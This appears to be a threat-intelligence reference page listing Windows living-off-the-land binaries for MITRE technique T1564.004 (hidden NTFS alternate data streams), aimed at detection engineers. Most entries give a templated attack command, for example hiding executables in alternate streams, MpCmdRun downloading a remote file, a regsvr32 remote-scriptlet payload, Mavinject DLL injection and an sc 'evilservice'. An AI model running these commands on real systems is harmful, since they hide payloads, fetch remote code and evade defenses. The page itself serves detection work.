How many Living-off-the-Land Binaries abuse T1564.004?

LOLPulse tracks 18 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Technique T1564.004 (T1564.004).

How can detection engineers monitor for T1564.004?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1564.004Tactic: Execution & Defense EvasionOfficial MITRE ATT&CK Page

T1564.004: Technique T1564.004

Adversaries may leverage living-off-the-land techniques (T1564.004) to achieve execution, evade defenses, or transfer tools.

Total Capable Binaries: 18

•

Windows: 18

•

Linux: 0

•

macOS: 0

Living-off-the-Land Matrix for T1564.004

Across 18 verified binaries

Windows4 payloads

Cmd.exe

The command-line interpreter in Windows

Sample Attack Vector:

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat

Inspect Cmd.exe & Telemetry

Windows3 payloads

Diantz.exe

Binary that package existing files into a cabinet (.cab) file

Sample Attack Vector:

diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab

Inspect Diantz.exe & Telemetry

Windows6 payloads

Esentutl.exe

Binary for working with Microsoft Joint Engine Technology (JET) database

Sample Attack Vector:

esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o

Inspect Esentutl.exe & Telemetry

Windows3 payloads

Expand.exe

Binary that expands one or more compressed files

Sample Attack Vector:

expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}

Inspect Expand.exe & Telemetry

Windows4 payloads

Extrac32.exe

Extract to ADS, copy or overwrite a file with Extrac32.exe

Sample Attack Vector:

extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe

Inspect Extrac32.exe & Telemetry

Windows4 payloads

Findstr.exe

Write to ADS, discover, or download files with Findstr.exe

Sample Attack Vector:

findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe

Inspect Findstr.exe & Telemetry

Windows2 payloads

Forfiles.exe

Selects and executes a command on a file or set of files. This command is useful for batch processing.

Sample Attack Vector:

forfiles /p c:\windows\system32 /m notepad.exe /c "{CMD}"

Inspect Forfiles.exe & Telemetry

Windows4 payloads

Makecab.exe

Binary to package existing files into a cabinet (.cab) file

Sample Attack Vector:

makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cab

Inspect Makecab.exe & Telemetry

Windows2 payloads

Mavinject.exe

Used by App-v in Windows

Sample Attack Vector:

MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll}

Inspect Mavinject.exe & Telemetry

Windows3 payloads

MpCmdRun.exe

Binary part of Windows Defender. Used to manage settings in Windows Defender

Sample Attack Vector:

MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}

Inspect MpCmdRun.exe & Telemetry

Windows3 payloads

Print.exe

Used by Windows to send files to the printer

Sample Attack Vector:

print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}

Inspect Print.exe & Telemetry

Windows2 payloads

PrintBrm.exe

Printer Migration Command-Line Tool

Sample Attack Vector:

PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}

Inspect PrintBrm.exe & Telemetry

Windows2 payloads

Reg.exe

Used to manipulate the registry

Sample Attack Vector:

reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg

Inspect Reg.exe & Telemetry

Windows2 payloads

Regedit.exe

Used by Windows to manipulate registry

Sample Attack Vector:

regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey

Inspect Regedit.exe & Telemetry

Windows1 payloads

Regini.exe

Used to manipulate the registry

Sample Attack Vector:

regini.exe {PATH}:hidden.ini

Inspect Regini.exe & Telemetry

Windows2 payloads

Sc.exe

Used by Windows to manage services

Sample Attack Vector:

sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice

Inspect Sc.exe & Telemetry

Windows3 payloads